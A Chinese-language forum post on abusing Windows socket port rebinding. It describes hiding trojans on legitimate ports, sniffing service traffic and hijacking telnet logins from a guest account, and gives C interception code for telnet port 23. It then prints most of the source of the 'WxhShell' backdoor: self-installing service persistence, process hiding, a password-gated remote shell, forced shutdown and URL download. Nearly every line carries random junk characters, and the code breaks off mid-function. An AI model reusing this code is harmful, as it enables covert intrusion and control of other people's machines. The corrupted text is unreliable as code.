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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \n&l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sp&s 5aw  
;s^br17z~  
  saddr.sin_family = AF_INET; d`XC._%^J  
CMcS4X9/}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /Zzb7bHLK  
IIn sq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RJYB=y8l  
P"Scs$NOU?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bNH72gX2Yh  
Z(|@C(IL0\  
  这意味着什么?意味着可以进行如下的攻击: mQbpv'N  
a/ 4!zT   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uVSc1 MS1  
Bq l 5=p  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]j4Nl?5*x  
~o <+tL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 t PJW|wo  
$!'S7;*uW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `4xnM`:L"  
'aN`z3T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bu2@~  
UY ^dFbJ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I[x+7Y0k9  
%2S+G?$M?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }L!%^siG_  
Y%OJ3B(n|  
  #include (O[:-Aqm  
  #include `rwzCwA1  
  #include %(P\"hE'  
  #include    (Yv)%2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tx+KxOt9Y  
  int main() A^%li^qz  
  { 2 cB){.E  
  WORD wVersionRequested; <n+]\a97*  
  DWORD ret; x5X;^.1Fr  
  WSADATA wsaData; 2!w5eWl,  
  BOOL val; Juhi#&`T  
  SOCKADDR_IN saddr; #1-2)ZO.  
  SOCKADDR_IN scaddr; Mnv2tnU]  
  int err; w!5@PJ)~U  
  SOCKET s; |}?o=bO  
  SOCKET sc; CnXl 7"  
  int caddsize; ,/bSa/x`  
  HANDLE mt; <[oPh(!V  
  DWORD tid;   5z T~/6-(  
  wVersionRequested = MAKEWORD( 2, 2 ); 51)Q&,Mo#  
  err = WSAStartup( wVersionRequested, &wsaData ); "mk4O4dF  
  if ( err != 0 ) { $-=QTX  
  printf("error!WSAStartup failed!\n"); TJ5g? #Wul  
  return -1; P3W<a4 ==  
  } ^zfO=XN  
  saddr.sin_family = AF_INET; hx5oTJR  
   G\;a_]Q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ytDp 4x<W)  
L@&(>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %k"qpu  
  saddr.sin_port = htons(23); 3IlflXb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rw|;?a0  
  { =JR6-A1>  
  printf("error!socket failed!\n"); pBbfU2p  
  return -1; >RTmfV  
  } 2#XYR>[  
  val = TRUE; (C&Lpt_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %XQ!>BeE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) d3IMQ_k  
  { wnPg).  
  printf("error!setsockopt failed!\n"); liuw!  
  return -1; ~{xm(p  
  } MS=zG53y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p'fD:M:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J% b`*?A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d%EUr9~?  
{,9^k'9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $vR#<a,7>  
  { 82>90e(CH]  
  ret=GetLastError(); iPuX  
  printf("error!bind failed!\n"); 1Z$` }a  
  return -1; K<g<xW*X  
  } JO&~mio  
  listen(s,2); xh90qm  
  while(1) -".q=$f  
  { |Y9mre.Y;  
  caddsize = sizeof(scaddr); Uc[ @]  
  //接受连接请求 ?x\tE]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8NUVHcB6  
  if(sc!=INVALID_SOCKET) d41DcgG'j(  
  { f~rq)2V:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  W>HGB  
  if(mt==NULL) rD?G7l<~>_  
  { q!y6 K*  
  printf("Thread Creat Failed!\n"); nG~#o  
  break; Rn4Bl8z'>  
  } A@?Rj  
  } ?b,x;hIO  
  CloseHandle(mt); }j_2K1NS{  
  } KT9!R  
  closesocket(s); [dXpz^Co  
  WSACleanup(); ^tr?y??k  
  return 0; C-:lM1  
  }   HO`N]AMw  
  DWORD WINAPI ClientThread(LPVOID lpParam) #J): N  
  { +%'!+r l  
  SOCKET ss = (SOCKET)lpParam; ) u(Gf*t  
  SOCKET sc; 5L!cS+QNU  
  unsigned char buf[4096]; :ot^bAyt|  
  SOCKADDR_IN saddr; je[1>\3W  
  long num; h8)m2KrZ!.  
  DWORD val; GI ;  
  DWORD ret; ALO0yc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 })#SjFq<V  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   iL6Yk @  
  saddr.sin_family = AF_INET; y+"6Y14  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *i)3q+%.  
  saddr.sin_port = htons(23); d8p<f+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M#CYDEB  
  { 2|re4  
  printf("error!socket failed!\n"); n5G|OK0,  
  return -1; >%?kp[  
  } .:U`4 ->E  
  val = 100; -V_iv/fmM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s-[v[w'E  
  { p7{%0  
  ret = GetLastError();  L#>^R   
  return -1; 4]P5k6 nV  
  } ;&2f{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &$V&gAN  
  { xaw)iC[gI{  
  ret = GetLastError(); |Vj@;+/j  
  return -1; -H+<81"B#  
  } dW4FMm>|  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p "Cxe  
  { %%c1@2G<  
  printf("error!socket connect failed!\n"); 0LW|5BVbIO  
  closesocket(sc); }QzF.![~z  
  closesocket(ss); v*[oe  
  return -1; -KA Y  
  } KccIYn~  
  while(1) i .GJO +K  
  { 4Y/kf%]]A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 AW')*{/(Ii  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Fo:60)Lr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ` v"p""_H  
  num = recv(ss,buf,4096,0); 5IJm_oy  
  if(num>0) 4b/>ZHFOF;  
  send(sc,buf,num,0); m.g2>r`NU  
  else if(num==0) ^8q(_#w`K  
  break; qPvWb1H:  
  num = recv(sc,buf,4096,0); ,ej89  
  if(num>0)  d  H ;  
  send(ss,buf,num,0); x Rp;y*  
  else if(num==0) " R5! VV  
  break; >K@Y8J+ e#  
  } .gP}/dj  
  closesocket(ss); ;+3XDz v  
  closesocket(sc); U1y8Y/  
  return 0 ; T4fVZd)x  
  } v\}s(X(J  
H(rK39Q  
ENhKuX  
========================================================== ->S# `"@$  
w40 -K5wt>  
下边附上一个代码,,WXhSHELL V\6V&_  
; VH:dg  
========================================================== CEXD0+\q  
ar[I| Q_  
#include "stdafx.h" =g3o@WD/G  
Z.$)#vM5  
#include <stdio.h> vLT$oiN[c  
#include <string.h> kwAL] kI  
#include <windows.h> QMQ\y8E  
#include <winsock2.h> wOLA8UYW  
#include <winsvc.h> ^NB\[ &  
#include <urlmon.h> 9,J^tN@^  
0 YA  
#pragma comment (lib, "Ws2_32.lib") Po*G/RKu4W  
#pragma comment (lib, "urlmon.lib") _@L{]6P%V  
$O[$<D%H  
#define MAX_USER   100 // 最大客户端连接数 |]UR&*  
#define BUF_SOCK   200 // sock buffer $s S;#r0  
#define KEY_BUFF   255 // 输入 buffer sL",Ho  
P ?A:0a  
#define REBOOT     0   // 重启 Muay6b?  
#define SHUTDOWN   1   // 关机 69iY)Ob/  
cME|Lg(J$  
#define DEF_PORT   5000 // 监听端口 y{k65dk-  
`"s*'P398  
#define REG_LEN     16   // 注册表键长度 3X:)r<  
#define SVC_LEN     80   // NT服务名长度 k,h /B  
'Z}3XVZEN  
// 从dll定义API QJ^'Uyfdn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); my+2@ln  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K*sav?c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZFFKv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O =gv2e  
W&Xm_T[ Q  
// wxhshell配置信息 GC3WB4iY@U  
struct WSCFG {  SCq:jI  
  int ws_port;         // 监听端口 e anR$I;Yj  
  char ws_passstr[REG_LEN]; // 口令 <_>xkQbn2  
  int ws_autoins;       // 安装标记, 1=yes 0=no VOkSR6  
  char ws_regname[REG_LEN]; // 注册表键名 YW7Pimks  
  char ws_svcname[REG_LEN]; // 服务名 r- 8fvBZ5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )[np{eF.k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kD\7wz,ui  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yLgv<%8f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oU)Hco"_k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5i1E 5@~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hpj7EaMZ_  
A?+cdbxJw  
}; w^Atd|~gi  
={G0p=~+,p  
// default Wxhshell configuration e$l*s/"0t  
struct WSCFG wscfg={DEF_PORT, 8$~^-_>n/  
    "xuhuanlingzhe", &G$K. q  
    1, k}hTSL  
    "Wxhshell", G<W;HMj2  
    "Wxhshell", vT{+Z\LL=  
            "WxhShell Service", khQ@DwO*\=  
    "Wrsky Windows CmdShell Service", h]>7Dl]  
    "Please Input Your Password: ", Rc2JgV  
  1, *o}7&Hw#9f  
  "http://www.wrsky.com/wxhshell.exe", r~YxtBZH+  
  "Wxhshell.exe" xtFGj,N  
    }; W!o|0u!D  
3k# h!Z  
// 消息定义模块 SSn{,H8/j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )N3XbbV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t b>At*tO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'B9q&k%<  
char *msg_ws_ext="\n\rExit."; nw,XA0M3  
char *msg_ws_end="\n\rQuit."; q(\kCUy!  
char *msg_ws_boot="\n\rReboot..."; mkuK$Mj  
char *msg_ws_poff="\n\rShutdown..."; N!%[.3o\K  
char *msg_ws_down="\n\rSave to "; l>*L Am5  
^R h`XE  
char *msg_ws_err="\n\rErr!"; pB:/oHV  
char *msg_ws_ok="\n\rOK!"; 0Z1';A3  
A/sM ?!p>_  
char ExeFile[MAX_PATH]; &HB!6T/  
int nUser = 0; tRVz4fk[G  
HANDLE handles[MAX_USER]; pg.BOz\'q  
int OsIsNt; K};~A?ET,h  
HB*H%>L{"B  
SERVICE_STATUS       serviceStatus; t_kRYdW9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MG:eI?G/'  
sH51 .JG  
// 函数声明 &2sfu0K  
int Install(void); ^E&WgXlb  
int Uninstall(void); 0)]?@"j  
int DownloadFile(char *sURL, SOCKET wsh); {NUI8AL46A  
int Boot(int flag); ["WWaCcx  
void HideProc(void); U28frRa  
int GetOsVer(void); o0 |T<_  
int Wxhshell(SOCKET wsl); tLzb*U8'1w  
void TalkWithClient(void *cs); uN@El1ouY  
int CmdShell(SOCKET sock); 9?tG?b0  
int StartFromService(void); @iBaJ"*,  
int StartWxhshell(LPSTR lpCmdLine); 2*5pjd{Kt  
^i!I0Q2yd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vw6DHN)k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !,9 ;AMO -  
")Qhg-l  
// 数据结构和表定义 ST1c`0e  
SERVICE_TABLE_ENTRY DispatchTable[] = 61Wh %8-  
{ LV@tt&|N  
{wscfg.ws_svcname, NTServiceMain}, x4XCR,-  
{NULL, NULL} jidRh}>a=  
}; ![&9\aH  
KnC:hus  
// 自我安装 F$@(0c  
int Install(void) Eg(.L,dj  
{ 6PT"9vR`)  
  char svExeFile[MAX_PATH]; )1gOO{T]h?  
  HKEY key; 0y`r.)G  
  strcpy(svExeFile,ExeFile); 9@>Q7AUCQ  
`Sal-|[Cv[  
// 如果是win9x系统,修改注册表设为自启动 & ^;3S*p  
if(!OsIsNt) { 3QDz9KwCAw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?$.JgG%Z+g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w>wzV=R  
  RegCloseKey(key); ?izl#?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p&2oe\j$,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .`jYrW-k  
  RegCloseKey(key); (*Z:ByA  
  return 0; n;LjKE  
    } a FL; E  
  } a5?Yh<cJ  
} a= (vS  
else { nL+y"O  
6z2%/P-'  
// 如果是NT以上系统,安装为系统服务 @a (-U.CZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ldt]=Sqy  
if (schSCManager!=0) t"?)x&dS  
{ $]gflAe2  
  SC_HANDLE schService = CreateService Gq-~z mg  
  ( NA+7ey6  
  schSCManager, yX.; x 0  
  wscfg.ws_svcname, 5Z`f .}^w  
  wscfg.ws_svcdisp, H'}6Mw%ra  
  SERVICE_ALL_ACCESS, U+,RP$r@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,olP}  
  SERVICE_AUTO_START, yof8LWXx  
  SERVICE_ERROR_NORMAL, -I[KIeF  
  svExeFile, NqM=Nu\  
  NULL, _&N}.y)+t  
  NULL, rV}&G!V_t  
  NULL, uM,R+)3  
  NULL, -z">ov-)  
  NULL ;tC$O~X  
  ); JHa\"h  
  if (schService!=0) :,V&P_  
  { F *1w8+  
  CloseServiceHandle(schService); |t~*!0>3  
  CloseServiceHandle(schSCManager); nP_)PDTFp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ART0o7B  
  strcat(svExeFile,wscfg.ws_svcname); t==\D?Rt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y@rg_Paq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6+4SMf3  
  RegCloseKey(key); L *cP8v4  
  return 0; U|Uc|6  
    } XTRF IY  
  } FuC \qF  
  CloseServiceHandle(schSCManager); xdh%mG:?  
} \ 027>~u {  
} Py#TXzEcC  
9Dp0Pi?29  
return 1; ?JBA`,-  
} M(vX.kF  
W;?e@}  
// 自我卸载 OZEbs 7  
int Uninstall(void) 9"zp>VR  
{ $b)t`r+  
  HKEY key; iK!FVKi}  
VaA.J  
if(!OsIsNt) { D!z'Y,.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5+UNLvsZ  
  RegDeleteValue(key,wscfg.ws_regname); -$$mrU  
  RegCloseKey(key); <H$!OPV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L tUvFe  
  RegDeleteValue(key,wscfg.ws_regname); W#2} EX  
  RegCloseKey(key); "R"{xOQl  
  return 0; aYM~Ub:x{  
  } )iid9K<HB  
} /D964VR1M\  
} @9~x@[  
else { ^6J*:(eM  
*4%%^*g.I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A0OA7m:~4  
if (schSCManager!=0) Eihy|p  
{ "]|7%]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }R/we`  
  if (schService!=0) p`EgMzVO,  
  { xQl}~G]!  
  if(DeleteService(schService)!=0) { &G?"I%Vw  
  CloseServiceHandle(schService); 8tVSai8[  
  CloseServiceHandle(schSCManager); x~=Mn%Ew0  
  return 0; Ze <)B *  
  } 8Ltl32JSB[  
  CloseServiceHandle(schService); Yr>0Qg],  
  } b1;h6AeL  
  CloseServiceHandle(schSCManager); -/2B fIq  
} @$iZ9x6t  
} = 5[%%Lf  
nw_s :  
return 1; L4Kg%icz l  
} al9( 9)  
_%Yi ^^  
// 从指定url下载文件 Uq~b4X$  
int DownloadFile(char *sURL, SOCKET wsh) UD.ZnE{"  
{ efE=5%O  
  HRESULT hr; ":q+"*fy  
char seps[]= "/"; *Ms&WYN-  
char *token; I;n <) >  
char *file; 5{#s<%b.  
char myURL[MAX_PATH]; =iH9=}aBFC  
char myFILE[MAX_PATH]; [$td:N *  
jo3(\Bq  
strcpy(myURL,sURL); u-tD_UIck  
  token=strtok(myURL,seps); ^qi+Y)dU|  
  while(token!=NULL) 9hssI ZO  
  { KuW>^mF(I  
    file=token; )FPn_p#3]  
  token=strtok(NULL,seps); q`?M+c*F  
  } #eX<=H]  
G"tlJ7$myQ  
GetCurrentDirectory(MAX_PATH,myFILE); V.6pfL  
strcat(myFILE, "\\"); kKjcW` [  
strcat(myFILE, file); iSUu3Yv,_m  
  send(wsh,myFILE,strlen(myFILE),0); UWhJkJsX  
send(wsh,"...",3,0); 'IT]VRObP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ch%mI~  
  if(hr==S_OK) ,fqM>Q  
return 0; L62%s[  
else K|OPtYeb  
return 1; z 2jC48~  
Ftd,dqd  
} 9|[uie  
bub6{MQW8e  
// 系统电源模块 &,=FPlTC=  
int Boot(int flag) UvM4-M%2JN  
{ \WbQS#Z9  
  HANDLE hToken; DycXJ3eQ  
  TOKEN_PRIVILEGES tkp; HVhP |+  
?>iUz.];t  
  if(OsIsNt) { /h{Rf,H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wOCAGEg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dsj}GgG?Z  
    tkp.PrivilegeCount = 1; 0TSB<,9a[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #ti%hm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BvH?d]%  
if(flag==REBOOT) { 8e^uKYR<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k<M Q  
  return 0; 7S^G]g!x  
} 8qaU[u&$  
else { SH#*Lc   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -(>Ch>O  
  return 0; ,,+4d :8$  
} a s('ZD.9  
  } -|f0;Fl  
  else { /AyxkXq  
if(flag==REBOOT) { Y/"t!   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O|)b$H_  
  return 0; 3"< 0_3?W  
} "^!y>]j#A  
else { *,%$l+\h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u`.)O2)xU  
  return 0; gujP{Z  
} &xhwOgI#,  
} ZO%iyc%  
T:zM]%Xh  
return 1; :=TIq  
} 1_A_)l11  
{ PJ>gX$  
// win9x进程隐藏模块 Gk/cP`  
void HideProc(void) HZ2W`wo  
{ {:#nrD"  
UV0[S8A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,|}mo+rb-  
  if ( hKernel != NULL ) V=% ;5/  
  { 9jX_Eoxy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >KvK'Mus/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^Y+Lf]zz*  
    FreeLibrary(hKernel); GN9kCyPK  
  } a@ <-L  
XPD1HN!,LT  
return; _H@ATut  
} Z<^!N)  
,W|-?b?   
// 获取操作系统版本 K1BBCe  
int GetOsVer(void) ciiI{T[Z  
{ '21gUYm  
  OSVERSIONINFO winfo; %2\tly!{ %  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z7gX@@T  
  GetVersionEx(&winfo); CfSP*g0rW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A_9J ~3  
  return 1; ^3S&LC 1;|  
  else V$w lOMp  
  return 0; =-X-${/  
}  7gZ}Qy  
Mqvo j7  
// 客户端句柄模块 f7][#EL  
int Wxhshell(SOCKET wsl) R LMn&j|?e  
{ e0(aRN{W  
  SOCKET wsh; Cl9nmyf   
  struct sockaddr_in client; ..+#~3es#y  
  DWORD myID; ' h<(  
fByf~iv,  
  while(nUser<MAX_USER) EY<"B2_%  
{ m 8b,_1  
  int nSize=sizeof(client); .(.<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !|i #g$  
  if(wsh==INVALID_SOCKET) return 1; ;H.V-~:P)  
 Owi/e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ujS oWs  
if(handles[nUser]==0) n=C"pH#  
  closesocket(wsh); m,!SD Cq  
else  fFqYRK  
  nUser++; @sA!o[gH  
  } ?6&8-zt1?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F]UH\1  
:S_]!'H  
  return 0; &JqaIJh   
} O>1Cx4s5  
J-,ocO  
// 关闭 socket 3^~J;U!3  
void CloseIt(SOCKET wsh) \#t)B J2  
{ X(MS!RV  
closesocket(wsh); :op_J!;  
nUser--; 0]iaNR %  
ExitThread(0); \|HNFxT`  
} .6azUD4  
<?5|(Q"@:  
// 客户端请求句柄 C-;w}  
void TalkWithClient(void *cs) uW[[8+t|  
{ JHvev,#4  
kVs YB  
  SOCKET wsh=(SOCKET)cs; OM&GypP6&  
  char pwd[SVC_LEN]; 4d4+%5GE  
  char cmd[KEY_BUFF]; ] 2qKc  
char chr[1]; X_hDU~5{wC  
int i,j; !Kg ']4  
? \,^>4x?  
  while (nUser < MAX_USER) { [i ~qVn2vT  
?zm]KxIC  
if(wscfg.ws_passstr) { lYJSg70P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oq+w2yR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wu/#}Bw#  
  //ZeroMemory(pwd,KEY_BUFF); #IM.7`I   
      i=0; ,:A;4  
  while(i<SVC_LEN) { S* O. ?  
fM4B.45j  
  // 设置超时 I*3}erT  
  fd_set FdRead; z_fjmqa?  
  struct timeval TimeOut; _7<{+Zzm  
  FD_ZERO(&FdRead); jxkjPf?  
  FD_SET(wsh,&FdRead); s{yw1:  
  TimeOut.tv_sec=8; %}VH5s9\  
  TimeOut.tv_usec=0; 3S7"P$q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z77>W}d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +|,4g_(j  
;ISnI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DI{*E  
  pwd=chr[0]; ;s/<wx-C  
  if(chr[0]==0xd || chr[0]==0xa) { %8tE*3iUF  
  pwd=0; @|vH5Pi  
  break; }\?9Prsd  
  } x'I!f? / &  
  i++; </`\3t  
    } ?}4,s7PR  
ebQgk Y=  
  // 如果是非法用户,关闭 socket kt978qfk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W H/.h$  
} 7<] EH:9  
p|ink):  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pa{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f(Of+>   
z m$Sw0#(  
while(1) { Wq1 jTIQ  
R/ZScOW[  
  ZeroMemory(cmd,KEY_BUFF); Pp tuXq%U  
P$#:$U @  
      // 自动支持客户端 telnet标准   6D`n^uoP  
  j=0; C'#)mo_@t  
  while(j<KEY_BUFF) { d/&> `[i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lFyDH{!  
  cmd[j]=chr[0]; w&aZ 97{  
  if(chr[0]==0xa || chr[0]==0xd) { 8'8`xu$  
  cmd[j]=0; wc4BSJa,19  
  break; ]2wxqglh)  
  } #Or;"}P>fB  
  j++; ujX; wGje  
    } V^5d5Ao  
Km8aHc]O~  
  // 下载文件 D![v{0er  
  if(strstr(cmd,"http://")) { T+F]hv'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0\ = du  
  if(DownloadFile(cmd,wsh)) Tn#Co$<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p2i?)+z  
  else wgS,U }/i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F#sm^%_2  
  } dWvVK("Wj  
  else { '|zrzU=  
5FoZ$I  
    switch(cmd[0]) { hu.o$sV3;  
  ZP<<cyY  
  // 帮助 .+/d08]  
  case '?': { d}[cX9U/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v\Uk?V5T  
    break; 4 V')FGB$  
  } Kf[d@ L  
  // 安装 rR> X<  
  case 'i': { V}#X'~Ob  
    if(Install()) l[38cF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ){5Nod{}a  
    else 5*pzL0,Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZNX38<3h  
    break; %M@K(Qu  
    } Icnhet4  
  // 卸载 l}))vf=i  
  case 'r': { 27e!KG[&  
    if(Uninstall()) YB5"i9T2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g"evnp  
    else -)`_w^Ox  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lD/9:@q\V  
    break; J +u}uN@  
    } v _MQ]X  
  // 显示 wxhshell 所在路径 l<`>  
  case 'p': { (90/,@6 6l  
    char svExeFile[MAX_PATH]; e"nm<&  
    strcpy(svExeFile,"\n\r"); b|d-vnYE  
      strcat(svExeFile,ExeFile); 52e>f5m.  
        send(wsh,svExeFile,strlen(svExeFile),0); <W"W13*j!  
    break; O,Q.-  
    } hJ}i+[~be  
  // 重启 j<B9$8x&  
  case 'b': { z~ cW,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N T`S)P*?  
    if(Boot(REBOOT)) 'u7-Qetj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mLX/xM/T?/  
    else { 5I622d  
    closesocket(wsh); s<9g3Gh  
    ExitThread(0); 6l]X{A.  
    } A9$x8x*Lt  
    break; 2*|T)OA`m,  
    } k {*QU(  
  // 关机 ysW})#7X  
  case 'd': { &]nx^C8V;  
